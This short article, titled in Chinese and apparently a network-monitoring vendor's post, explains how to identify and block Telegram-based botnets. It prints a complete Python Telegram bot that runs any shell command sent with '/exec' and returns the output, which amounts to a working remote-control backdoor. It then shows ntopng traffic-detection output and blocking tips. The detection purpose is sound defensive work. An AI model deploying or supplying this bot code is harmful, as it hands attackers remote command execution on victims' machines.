[网络数据] 如何识别和阻止基于电报的僵尸网络

bot = Bot(token)

def run():
  """ Runs the function used to start the bot.
  """
  MessageLoop(bot,
        { 'chat': on_chat_message }
        ).run_as_thread()
  print('Listening ...')
  while 1:
    time.sleep(10)
####################################################################
def help(bot, chat_id):
  bot.sendMessage(chat_id, 'Available commands:')
  bot.sendMessage(chat_id, '/exec  Execute remote command')
####################################################################
def run_command(command):
  p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
  return p.stdout.read().decode('utf-8')
####################################################################
def on_chat_message(msg):
  """ Manages the predefined commands of the telegram bot.
  :param msg: message received from telegram.
  """
  #print(msg)
  content_type, chat_type, chat_id = glance(msg)
  #
  # Check if the content_type of the message is a text
  if content_type == 'text':
    txt = msg['text'].lower()
    #
    # Switch construct to manage the various commands
    if txt.startswith("/exec"):
      cmd = txt[6:]
      bot.sendMessage(chat_id, 'Executing command ['+cmd+']...')
      bot.sendMessage(chat_id, run_command(cmd.split(' ')))
    else:
      help(bot, chat_id)
run()

Detected protocols:
  Telegram       packets: 156       bytes: 44034     flows: 2      

Protocol statistics:
  Acceptable           44034 bytes
  1  TCP 192.168.1.110:52671 <-> 149.154.167.91:443 [proto: 91.185/TLS.Telegram][cat: Chat/9][76 pkts/9307 bytes <-> 74 pkts/33973 bytes][Goodput ratio: 46/86][3.75 sec][bytes ratio: -0.570 (Download)][IAT c2s/s2c min/avg/max/stddev: 0/0 58/59 1817/1852 264/272][Pkt Len c2s/s2c min/avg/max/stddev: 66/70 122/459 846/1294 133/446]
  2  TCP 192.168.1.110:52672 <-> 149.154.167.91:443 [proto: 91.185/TLS.Telegram][cat: Chat/9][4 pkts/445 bytes <-> 2 pkts/309 bytes][Goodput ratio: 38/55][0.07 sec][bytes ratio: 0.180 (Mixed)][IAT c2s/s2c min/avg/max/stddev: 0/36 23/36 35/36 16/0][Pkt Len c2s/s2c min/avg/max/stddev: 66/74 111/154 235/235 72/80]

• 可见性（例如，使用ntopng）
  
• 使用ntopng Edge阻止此流量。